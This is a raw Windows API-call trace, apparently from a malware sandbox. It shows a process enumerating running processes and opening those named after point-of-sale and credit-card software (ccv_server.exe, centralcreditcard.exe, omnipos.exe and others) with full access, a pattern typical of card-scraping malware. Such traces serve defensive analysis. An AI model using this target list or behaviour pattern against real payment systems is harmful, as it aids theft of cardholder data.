	[0132.845] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.846] GetProcessHeap () returned 0x380000
	[0132.846] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.847] CloseHandle (hObject=0x160) returned 1
	[0132.847] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0132.849] SetLastError (dwErrCode=0x0) 
	[0132.849] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xaa0) returned 0x160
	[0132.849] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2e0) returned 1
	[0132.849] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.849] GetProcessHeap () returned 0x380000
	[0132.849] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.849] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.850] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.851] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.853] GetProcessHeap () returned 0x380000
	[0132.853] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.853] CloseHandle (hObject=0x160) returned 1
	[0132.853] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0132.856] SetLastError (dwErrCode=0x0) 
	[0132.856] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xab0) returned 0x160
	[0132.856] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2e4) returned 1
	[0132.856] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.856] GetProcessHeap () returned 0x380000
	[0132.856] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.856] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.856] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.986] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.987] GetProcessHeap () returned 0x380000
	[0132.987] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.987] CloseHandle (hObject=0x160) returned 1
	[0132.987] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0132.990] SetLastError (dwErrCode=0x0) 
	[0132.990] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xac0) returned 0x160
	[0132.990] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2e8) returned 1
	[0132.990] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.990] GetProcessHeap () returned 0x380000
	[0132.990] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.990] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.990] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.992] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.993] GetProcessHeap () returned 0x380000
	[0132.993] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.993] CloseHandle (hObject=0x160) returned 1
	[0132.994] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0132.996] SetLastError (dwErrCode=0x0) 
	[0132.996] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xad4) returned 0x160
	[0132.996] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2ec) returned 1
	[0132.996] GetTokenInformation (in: TokenHandle=0x2ec, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.996] GetProcessHeap () returned 0x380000
	[0132.996] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.996] GetTokenInformation (in: TokenHandle=0x2ec, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.996] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.998] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.999] GetProcessHeap () returned 0x380000
	[0132.999] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.999] CloseHandle (hObject=0x160) returned 1
	[0132.999] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0133.002] SetLastError (dwErrCode=0x0) 
	[0133.002] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xae4) returned 0x160
	[0133.002] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2f0) returned 1
	[0133.003] GetTokenInformation (in: TokenHandle=0x2f0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.003] GetProcessHeap () returned 0x380000
	[0133.003] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.003] GetTokenInformation (in: TokenHandle=0x2f0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.003] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.005] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.006] GetProcessHeap () returned 0x380000
	[0133.006] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.006] CloseHandle (hObject=0x160) returned 1
	[0133.006] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0133.008] SetLastError (dwErrCode=0x0) 
	[0133.008] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xaf4) returned 0x160
	[0133.008] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2f4) returned 1
	[0133.008] GetTokenInformation (in: TokenHandle=0x2f4, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.009] GetProcessHeap () returned 0x380000
	[0133.009] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.009] GetTokenInformation (in: TokenHandle=0x2f4, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.009] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.010] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.012] GetProcessHeap () returned 0x380000
	[0133.012] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.012] CloseHandle (hObject=0x160) returned 1
	[0133.012] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0133.014] SetLastError (dwErrCode=0x0) 
	[0133.014] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb04) returned 0x160
	[0133.014] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2f8) returned 1
	[0133.014] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.015] GetProcessHeap () returned 0x380000
	[0133.015] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.015] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.015] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.016] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.018] GetProcessHeap () returned 0x380000
	[0133.018] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.018] CloseHandle (hObject=0x160) returned 1
	[0133.018] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0133.020] SetLastError (dwErrCode=0x0) 
	[0133.020] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb14) returned 0x160
	[0133.020] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2fc) returned 1
	[0133.021] GetTokenInformation (in: TokenHandle=0x2fc, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.021] GetProcessHeap () returned 0x380000
	[0133.021] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.021] GetTokenInformation (in: TokenHandle=0x2fc, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.021] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.022] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.024] GetProcessHeap () returned 0x380000
	[0133.024] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.024] CloseHandle (hObject=0x160) returned 1
	[0133.024] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0133.026] SetLastError (dwErrCode=0x0) 
	[0133.026] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb24) returned 0x160
	[0133.027] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x300) returned 1
	[0133.027] GetTokenInformation (in: TokenHandle=0x300, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.027] GetProcessHeap () returned 0x380000
	[0133.027] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.027] GetTokenInformation (in: TokenHandle=0x300, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.027] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.173] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.174] GetProcessHeap () returned 0x380000
	[0133.174] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.174] CloseHandle (hObject=0x160) returned 1
	[0133.174] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0133.176] SetLastError (dwErrCode=0x0) 
	[0133.176] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb34) returned 0x160
	[0133.177] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x308) returned 1
	[0133.177] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.177] GetProcessHeap () returned 0x380000
	[0133.177] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.177] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.177] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.179] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.180] GetProcessHeap () returned 0x380000
	[0133.180] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.180] CloseHandle (hObject=0x160) returned 1
	[0133.180] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0133.182] SetLastError (dwErrCode=0x0) 
	[0133.182] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb44) returned 0x160
	[0133.182] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x30c) returned 1
